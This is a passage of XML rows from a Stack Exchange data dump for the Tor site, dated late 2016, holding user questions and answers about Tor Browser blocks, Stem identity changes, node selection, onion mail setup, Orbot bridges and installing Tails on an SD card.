  <row Id="13251" PostTypeId="1" CreationDate="2016-11-29T17:55:46.777" Score="1" ViewCount="1738" Body="&lt;p&gt;:-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying to open my Yandex account it won't let me open the site. It says: &quot;403 Access to our service has been temporarily blocked. Your computer may be infected with a virus, which is sending repeated requests to Yandex. ...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My computer is not infected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known problem?&lt;/p&gt;&#xA;" OwnerUserId="15241" LastActivityDate="2016-11-30T12:29:43.697" Title="Yandex claims there's a virus" Tags="|security|" AnswerCount="1" CommentCount="1" ClosedDate="2016-12-04T22:00:25.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="13252" PostTypeId="1" CreationDate="2016-11-29T20:47:36.173" Score="3" ViewCount="2043" Body="&lt;p&gt;I'm following the tutorial &lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;To Russia With Love&lt;/a&gt;, and as part of this I want to change the identity everytime I run the code. I've looked at multiple questions and tutorials and from the looks of it my torrc-defaults file is correct as it has: &#xA;ControlPort 9151&#xA;CookieAuthentication 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to edit the torrc file first but if i touch it Tor won't run anymore, so i read somewhere to look at torrc instead. The torrc file alone only has: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want to set a password so my understanding from reading the stem documents is that setting the Authentication is enough. I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socks  # SocksiPy module&#xA;import socket&#xA;import requests&#xA;&#xA;SOCKS_PORT = 9150&#xA;&#xA;# Set socks proxy and wrap the urllib module&#xA;&#xA;socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT)&#xA;socket.socket = socks.socksocket&#xA;&#xA;def getaddrinfo(*args):&#xA;  return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]&#xA;&#xA;socket.getaddrinfo = getaddrinfo&#xA;&#xA;url = &quot;http://google.com&quot;&#xA;&#xA;print requests.get(url).elapsed.total_seconds()&#xA;&#xA;from stem import Signal&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9151) as controller:&#xA;    controller.authenticate()&#xA;    controller.signal(Signal.NEWNYM)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I run it i get the error: &#xA;socks.SOCKS5Error: 0x01: General SOCKS server failure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what to do, i've been reading about this for hours and haven't been able to solve the problem. Any hints would be great.&lt;/p&gt;&#xA;" OwnerUserId="15211" LastActivityDate="2018-07-15T21:26:35.053" Title="Changing identity using Tor and Stem" Tags="|stem|identity-change|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13254" PostTypeId="1" CreationDate="2016-11-29T21:36:13.943" Score="0" ViewCount="5271" Body="&lt;p&gt;I primarily want to connect to the internet via one proxy outside the UK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway I can configure the network to complete the task please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Umfundi&lt;/p&gt;&#xA;" OwnerUserId="15243" LastActivityDate="2018-10-14T07:00:26.873" Title="Speed up Tor network" Tags="|proxy|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13255" PostTypeId="2" ParentId="13254" CreationDate="2016-11-30T01:43:20.957" Score="1" Body="&lt;p&gt;You should be careful if you change the standard settings. This can reduce your anonymity in ways that you did not think of. But you do not seem to worry about this too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this answer can help you: &lt;a href=&quot;https://tor.stackexchange.com/questions/217/how-can-one-make-tor-faster-when-willing-to-to-sacrifice-anonymity&quot;&gt;How can one make Tor faster, when willing to to sacrifice anonymity?&lt;/a&gt;.&#xA;Sam Withed says you can use Tor like a normal 1-hop proxy. But you need to change a line of the source code. Then you need to recompile it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An other way is to choose fast entry and exit nodes. I think you can make your connection faster if you do it this way. But I have not tried it myself.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You find the configuration file for Tor. It has the name &quot;torrc&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You add the &lt;strong&gt;two&lt;/strong&gt; lines &quot;EntryNodes node,node,…&quot; and &quot;ExitNodes node,node,…&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&quot;node, node, ...&quot; is a list of identity fingerprints, nicknames, country codes and address patterns (Example: ABCD1234CDEF5678ABCD1234CDEF5678ABCD1234, Tor2webRendezvousPoints Fastyfasty, {cc}, 255.254.0.0/8). The full explanation is in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;. You could use &lt;a href=&quot;https://atlas.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org&lt;/a&gt; to search for good nodes. &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;You save the configuration file and restart Tor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Unfortunately you can not choose the middle node like this. But you could use &quot;ExcludeNodes node,node,…&quot; with a list of all slow nodes.&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2016-11-30T01:43:20.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13256" PostTypeId="1" AcceptedAnswerId="13263" CreationDate="2016-11-30T08:34:11.563" Score="0" ViewCount="127" Body="&lt;p&gt;Tor is a browser that guarantees anonymity if used properly. But today I stumbled upon a piece of code which is claimed to be a Zero day exploit for Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be located by the following link.&#xA;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2016-November/042639.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-talk/2016-November/042639.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a person who takes privacy very seriously, I am scared to use Tor and Tor like services simply because I can be easily exposed should any of these vulnerabilities are exploited. But, we have no choice other than these services either. Right now, this exploit is still active and working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is specific. Can there be a method to use the internet securely without failing under these zero day exploits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. in a case like this, shouldn't we at least put a notification via Tor Browser to its users asking them to refrain using the service until everything is fixed? I understand it may take away the trust from some users, but its better than exposing them.&lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="14997" LastEditDate="2018-05-19T05:42:59.233" LastActivityDate="2018-05-19T05:42:59.233" Title="ZeroDay exploits and how do we stay safe from them" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13258" PostTypeId="1" CreationDate="2016-11-30T12:16:39.887" Score="0" ViewCount="219" Body="&lt;p&gt;I'm trying to access a site, but it blocks Tor, what can I do?&lt;/p&gt;&#xA;" OwnerUserId="15249" LastActivityDate="2016-11-30T12:21:28.687" Title="The site I'm trying to access blocks Tor, what can I do?" Tags="|censorship|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-04T22:00:37.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="13259" PostTypeId="2" ParentId="13258" CreationDate="2016-11-30T12:21:28.687" Score="0" Body="&lt;p&gt;There are a couple of ways. If you're trying to access for example www.example.com and it blocks Tor then you may,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for it in startpage.com, and then use the &quot;Proxy&quot; button which will redirect you to that site as accessed from one of the proxy servers of startpage&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use web.archive.org/save/_embed/www.example.com, not only would you save the URL for future generations, but you will also have the ability to see the page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a web proxy, such as: &lt;a href=&quot;https://hide.me/en/proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hide.me/en/proxy&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;All of these approaches may be non-convenient, but that's better than nothing.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately the best way is to contact the site's administrators to let them know that they're blocking legitimate requests to their site. &lt;/p&gt;&#xA;" OwnerUserId="15250" LastActivityDate="2016-11-30T12:21:28.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13260" PostTypeId="2" ParentId="13251" CreationDate="2016-11-30T12:29:43.697" Score="0" Body="&lt;p&gt;Error 403 are appearing because the exit node you're using is not dedicated to you only: Many people are using it, including to access Yandex and other services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems - on a website server's side - that one single IP address (the exit node) generates too many requests per time and a different requests/user sessions, so it can interpret it as a bot - and that's where the temporary block comes in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to click on the Onion button and choose &quot;&lt;strong&gt;New Tor Circuit for this Site&lt;/strong&gt;&quot; which will give you a new Tor circuit for the site that maybe wont give you the error.&lt;/p&gt;&#xA;" OwnerUserId="15251" LastActivityDate="2016-11-30T12:29:43.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13262" PostTypeId="1" CreationDate="2016-11-30T15:21:47.533" Score="1" ViewCount="165" Body="&lt;p&gt;Say there's a tor site running on 5.4.3.2:443. As an outsider, would I be able to visit 5.4.3.2:443 in my normal browser and see the tor service? Or would I still need it's onion address in a tor browser? If I can't visit 5.4.3.2:443 directly in a normal browser, why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I suspect that an IP is running various services such as ssh through tor, would I be able to tell? Are there any useful tor enumeration tools other than tortazo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry, I'm still a huge noob in this area -.- &#xA;Thank you so much!!&lt;/p&gt;&#xA;" OwnerUserId="15253" LastActivityDate="2016-11-30T19:51:59.417" Title="Visiting tor IP address/Enumeration tools" Tags="|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13263" PostTypeId="2" ParentId="13256" CreationDate="2016-11-30T16:00:44.890" Score="1" Body="&lt;p&gt;Security and anonymity are things that can never be guaranteed. If you set strict configurations you can lower the probability of being exploited. Everything is exploited eventually, what matters is how fast the development team releases a patch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't be afraid to use tor because of vulnerabilities, vulnerabilities are everywhere whether you use Firefox, Chrome, Tor, &#xA;whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For zero day exploits all you can do is prepare. Navigate tor in a sandbox and with no personally linking data in that sandbox (i.e. don't login to your real gmail account), keep your OS/browser/plugins/anything you use updated regularly, avoid shady sites, etc. Follow the basic guidelines on how to configure/use tor:&#xA;&lt;a href=&quot;https://www.torproject.org/download/download.html.en#Warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download.html.en#Warning&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's always possible that someone will break into your car, all you can do is make it harder for them to do it. If I'm in a parking garage I'm looking for the low hanging fruit, so people who don't have their car locked. It's not time efficient to spend all that time/effort on you when someone else's door was unlocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expect your machine will be compromised, prepare for the worst. Don't keep anything important cached in your browser, don't keep a list of passwords on your machine, don't leave your wallet in your car.&lt;/p&gt;&#xA;" OwnerUserId="15253" LastActivityDate="2016-11-30T16:00:44.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13264" PostTypeId="2" ParentId="13262" CreationDate="2016-11-30T19:51:59.417" Score="2" Body="&lt;p&gt;Yes, if it's listening on an external interface then you would be able to visit the IP and talk to the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, you should make services you wish to be anonymous bind to the local loopback interface, or a unix socket to avoid them being deanonymized by attackers running zmap/masscan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If some client or server is running some service over Tor and has configured them properly then you wouldn't be able to tell, as an outside observer. That's the point.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-30T19:51:59.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13265" PostTypeId="2" ParentId="13119" CreationDate="2016-12-01T03:48:08.193" Score="1" Body="&lt;p&gt;It appears if you execute the distributed Firefox using &lt;code&gt;sudo&lt;/code&gt; it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So from the terminal try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo /Applications/TorBrowser.app/Contents/MacOS/firefox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15258" LastEditorUserId="1880" LastEditDate="2016-12-21T14:18:51.887" LastActivityDate="2016-12-21T14:18:51.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13267" PostTypeId="1" CreationDate="2016-12-01T06:07:31.833" Score="1" ViewCount="376" Body="&lt;p&gt;I would like to set my source port when I connect to the tor network. I know that the destination port is set irrespectively if you use a bridge or node to connect for out bound traffic. I would like tor to use a specific port all ways for the destination port for inbound traffic or source port for out bound traffic bound to a specific ip address. How can I do this? I am using tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this command &#xA;echo Reachableaddresses IP:port | sudo tee -a /etc/tor/torrc&#xA;it does not work still the source port is random&lt;/p&gt;&#xA;" OwnerUserId="14456" LastActivityDate="2019-04-23T04:07:11.267" Title="Can I sent ip and port combination when I connect to the tor network?" Tags="|configuration|security|tails|firewall|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13268" PostTypeId="2" ParentId="13246" CreationDate="2016-12-01T07:18:31.277" Score="3" Body="&lt;p&gt;The problem in your case consists of two parts, actually:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sending mail&lt;/strong&gt; &lt;em&gt;from command line to the MTA&lt;/em&gt; - Here you need to spool your message from a command line into the &lt;em&gt;thing&lt;/em&gt; that will deliver it from this step forward. It can be either Postfix, or &lt;em&gt;any&lt;/em&gt; other. I prefer QMail&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Delivering mail to dot-onion addresses&lt;/strong&gt; - Here you need to handle &lt;em&gt;all&lt;/em&gt; steps as in clearnet, but in Darknet. And a proxy is a &lt;strong&gt;bad&lt;/strong&gt; solution!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So - how to do it? Let's take a look:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;First&lt;/em&gt; check &lt;a href=&quot;http://www.unix.com/man-page/netbsd/5/mailer.conf/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this manual&lt;/a&gt; about &lt;code&gt;mailer.conf&lt;/code&gt; and make sure that &lt;em&gt;everything&lt;/em&gt; is pointed out correctly to your MTA. It usually looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# $FreeBSD: head/en_US.ISO8859-1/books/handbook/mail/chapter.xml 48529 2016-04-03 18:57:15Z wblock $&#xA;#&#xA;# Execute the &quot;real&quot; sendmail program, named /usr/libexec/sendmail/sendmail&#xA;#&#xA;sendmail        /usr/libexec/sendmail/sendmail&#xA;send-mail       /usr/libexec/sendmail/sendmail&#xA;mailq           /usr/libexec/sendmail/sendmail&#xA;newaliases      /usr/libexec/sendmail/sendmail&#xA;hoststat        /usr/libexec/sendmail/sendmail&#xA;purgestat       /usr/libexec/sendmail/sendmail&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Check that &lt;em&gt;every&lt;/em&gt; line is pointing to your MTA corresponding tools, not just &lt;code&gt;sendmail&lt;/code&gt; and &lt;code&gt;send-mail&lt;/code&gt;! It's a common problem in &quot;fast howto's&quot;...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Second&lt;/em&gt;, in your Tor installation, you don't need &lt;em&gt;any&lt;/em&gt; proxy-stuff for mail processing - inbound and outbound. You will need two features of Tor to implement &lt;em&gt;proper&lt;/em&gt; handling of the &quot;email stuff&quot;: host mapping and DNS backend. In your &lt;code&gt;torrc&lt;/code&gt; you should enable it like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetworkIPv4 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;DNSPort 53&#xA;DNSListenAddress 127.0.0.2&#xA;TransPort 9040&#xA;TransListenAddress 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all the dot-onion addresses will be mapped out to the desired network range. Pay attention: you should &lt;em&gt;not&lt;/em&gt; interfere with your ISP local subnets(if there any) and a home/LAN ones! You should use the range big enough to map lots of hosts, so 10.0.0.0/8 subnet is a good choice for that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Third&lt;/em&gt;, you will need a &lt;strong&gt;properly installed full DNS local server&lt;/strong&gt;, no &quot;tiny-stubs&quot; or &quot;fast-but-truncated-in-functionality DNS systems&quot;. And here is why: mail processing involves lots of DNS-elaborating techniques, like RBL checking, hostname resolution e.t.c. Set up a full-featured BIND and point the dot-onion names to Tor listening on 127.0.0.2 like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zone &quot;onion&quot; {&#xA;    type forward;&#xA;    forward only;&#xA;    forwarders {&#xA;        127.0.0.2;&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your MTA settings &lt;em&gt;explicitly disable&lt;/em&gt; reverse DNS checks on incoming SMTP connections(for receiving inbound mail) and in SMTP use STARTTLS first, i.e. do not accept plaintext SMTP, it's a bit risky of spam. But you can use it if you wish - it's just a warning. SMTPS is the best way In My Humble Opinion =)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Fourth&lt;/em&gt;, use a firewall to divert all the traffic to your Tor mapping zone (specified in &lt;code&gt;torrc&lt;/code&gt; in &lt;code&gt;VirtualAddrNetworkIPv4 xxx&lt;/code&gt; option) to your TransPort: because once resolved, the packets must go to the packet trap, &lt;em&gt;not via routing table&lt;/em&gt;! In &lt;code&gt;iptables&lt;/code&gt; it is done like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A PREROUTING -i $_int_if -p tcp --syn -j REDIRECT --to-ports $_trans_port&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All the variables are self-explaining, but &lt;code&gt;_int_if&lt;/code&gt; is another loopback device with an address like 127.0.0.3 - bind &lt;em&gt;everything&lt;/em&gt; for your MTA to use that address as a source address, binding address and the interface bind. The config depends on the MTA, so check your MTA doc's ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's it! Of course there're mane optional tweaks &lt;em&gt;can be done&lt;/em&gt;, but they do depend on an MTA, the mailserver setup and the task specifics. All the steps above will give you the full power of darknet mail =) Feel free to ask questions if you have ones!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-01T07:18:31.277" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13269" PostTypeId="2" ParentId="13267" CreationDate="2016-12-01T07:21:25.097" Score="0" Body="&lt;p&gt;ReachableAddress is not related to your issue at all! The trick can be done in full depth only by a firewall - Tor does not have this option for a various reasons. Use a container/vm with Tor inside and - when you're routing it's outbound traffic - switch the port and address.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-01T07:21:25.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13270" PostTypeId="1" AcceptedAnswerId="13292" CreationDate="2016-12-01T11:11:45.233" Score="1" ViewCount="21689" Body="&lt;p&gt;I am on android 4.4.2. Using Orbot + Orfox. I can connect the Tor network and browse webpages on Orfox when I am connected to a Wi-Fi. But whenever I turn-off wi-fi and try Mobile data, the pages on Orfox does not load. Here, &lt;a href=&quot;https://tor.stackexchange.com/q/12764/15264&quot;&gt;How to make Tor work using mobile data?&lt;/a&gt;, they mention that mobile carriers may block access to Tor. And it is suggested that I should use bridges available. How can I do that? Checking &quot;Use Bridges&quot; option on android app does not resolve the issue (I haven't entered any IP address and port of bridges, since I do not know how to do it.)&lt;/p&gt;&#xA;" OwnerUserId="15264" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2019-09-01T14:57:16.190" Title="How to use bridges in Orbot?" Tags="|orbot|mobile|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13272" PostTypeId="1" CreationDate="2016-12-01T17:33:18.777" Score="2" ViewCount="2466" Body="&lt;p&gt;NetworkManager in ubuntu and arch have a handy feature that allows users to turn an additional wireless card into a wifi hotspot. The idea is: boot whonix or tails in virtualbox, connect a wireless adapter to the vm, configure the wireless adapter to act as a hotspot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the Tails wifi manager, I couldn't figure out how to create a wireless AP. I imagine that option was removed for security reasons. The Whonix wifi manager has a feature to create a wireless AP but it doesnt seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone assist? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I understand the risks of using a torified wireless AP. Wireless crypto sucks. This is merely a proof of concept/experiment.&lt;/p&gt;&#xA;" OwnerUserId="15271" LastActivityDate="2018-03-12T22:34:34.737" Title="How to create a wifi hotspot using tails or whonix?" Tags="|configuration|tails|network-configuration|whonix|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13277" PostTypeId="2" ParentId="12443" CreationDate="2016-12-01T23:38:05.063" Score="0" Body="&lt;p&gt;My sdcard is appearing as mmcblk0 with the command &lt;code&gt;lsblk&lt;/code&gt;, hence I run&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dd if=tails-iso.iso of=/dev/mmcblk0 bs=512 &amp;amp;&amp;amp; sync&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can add &lt;code&gt;status=progress&lt;/code&gt; option for recent version of &lt;code&gt;dd&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15277" LastActivityDate="2016-12-01T23:38:05.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13278" PostTypeId="1" CreationDate="2016-12-02T02:25:56.053" Score="0" ViewCount="168" Body="&lt;p&gt;Is the only reason not to use port 80 the one outlined &lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;7&quot;&gt;&#xA;  &lt;li&gt;If your computer isn't running a webserver, and you haven't set AccountingMax, please consider changing your ORPort to 443 and/or your DirPort to 80. &lt;strong&gt;Many Tor users are stuck behind firewalls that only let them browse the web, and this change will let them reach your Tor relay.&lt;/strong&gt; If you are already using ports 80 and 443, other useful ports are 22, 110, and 143.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15278" LastActivityDate="2016-12-03T17:43:20.067" Title="Anything wrong with using port 80 for a website?" Tags="|website|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13279" PostTypeId="2" ParentId="12443" CreationDate="2016-12-02T02:38:08.440" Score="2" Body="&lt;p&gt;&lt;strong&gt;This is ugly and not recommended.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this example the following assumptions are made:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The sd-card will be &lt;code&gt;/dev/mmcblk0&lt;/code&gt; and the USB installation target &lt;code&gt;/dev/sdb&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The sd-card is larger than the usb device, if this is not the case see the note at the bottom.&lt;/li&gt;&#xA;&lt;li&gt;Both devices are large enough to hold a full Tails install (&gt;=3.5GB).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With that said, the following steps should allow you to boot tails on a device that otherwise presents problems from the Tails installer.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Follow the tails installer up to the point of creating the intermediary Tails USB.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you reach step to boot the intermediary Tails USB, use &lt;code&gt;More Options&lt;/code&gt; on the greeter and set a password to enable root access.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Proceed with installing Tails into &lt;code&gt;/dev/sdb&lt;/code&gt;, once the installation is complete &lt;em&gt;do not reboot&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;code&gt;Applications&lt;/code&gt; &gt; &lt;code&gt;Utilities&lt;/code&gt; &gt; &lt;code&gt;Disks&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the &lt;code&gt;/dev/sdb&lt;/code&gt; USB device and choose the cog icon at the top of the window, then select &lt;code&gt;Create Disk Image...&lt;/code&gt;, choose where to store the image (somewhere with appropriate storage space available, if the ramdisk doesn't suffice) and click &lt;code&gt;Start Creating...&lt;/code&gt;. Allow the process to complete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the &lt;code&gt;/dev/mmcblk0&lt;/code&gt; device in &lt;code&gt;Disks&lt;/code&gt; choose the cog icon and select &lt;code&gt;Restore Disk Image...&lt;/code&gt; and select the image created in the last step and click &lt;code&gt;Start Restoring...&lt;/code&gt;. Allow the process to complete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open up a terminal and type &lt;code&gt;sudo gdisk /dev/mmcblk0&lt;/code&gt; and use your root password you setup in step 2. At the new prompt (which should read &lt;code&gt;Command (? for help):&lt;/code&gt;) type &lt;code&gt;x&lt;/code&gt; and press return (&quot;&lt;code&gt;extra functionality (experts only)&lt;/code&gt;&quot;) then type &lt;code&gt;e&lt;/code&gt; (&quot;&lt;code&gt;relocate backup data structures to the end of the disk&lt;/code&gt;&quot;) then type &lt;code&gt;w&lt;/code&gt; (&quot;&lt;code&gt;write table to disk and exit&lt;/code&gt;&quot;) and confirm writing the changes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This step is necessary in cases where the USB is a different size from the sd-card, it fixes the GPT partition sizes.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From &lt;code&gt;Disks&lt;/code&gt;, select the FAT partition named &lt;code&gt;Tails&lt;/code&gt; on the &lt;code&gt;/dev/mmcblk0&lt;/code&gt; device it click the &quot;play&quot; (&lt;code&gt;▶&lt;/code&gt;) button. Go to &lt;code&gt;Places&lt;/code&gt; &gt; &lt;code&gt;Tails&lt;/code&gt; (which should have appeared near the &lt;code&gt;Computer&lt;/code&gt; option) from the top bar and navigate to the &lt;code&gt;syslinux&lt;/code&gt; folder. Under that folder edit the &lt;code&gt;live.cfg&lt;/code&gt; file, there will be two lines in the file starting with &lt;code&gt;append initrd=...&lt;/code&gt; from those lines remove the &lt;code&gt;live-media=removable&lt;/code&gt; option &lt;em&gt;only&lt;/em&gt; and save the file then repeat the process for &lt;code&gt;live64.cfg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This allows the boot process to use a device not identified as a removable device as the boot device.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go back to &lt;code&gt;Disks&lt;/code&gt; and under the &lt;code&gt;/dev/mmcblk0&lt;/code&gt; device select the FAT partition labeled &lt;code&gt;Tails&lt;/code&gt; click the &quot;stop&quot; (&lt;code&gt;◼&lt;/code&gt;) button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should now be able to boot Tails from the sd-card, receive incremental updates and setup encrypted persistence if required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;10&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;If the USB is larger 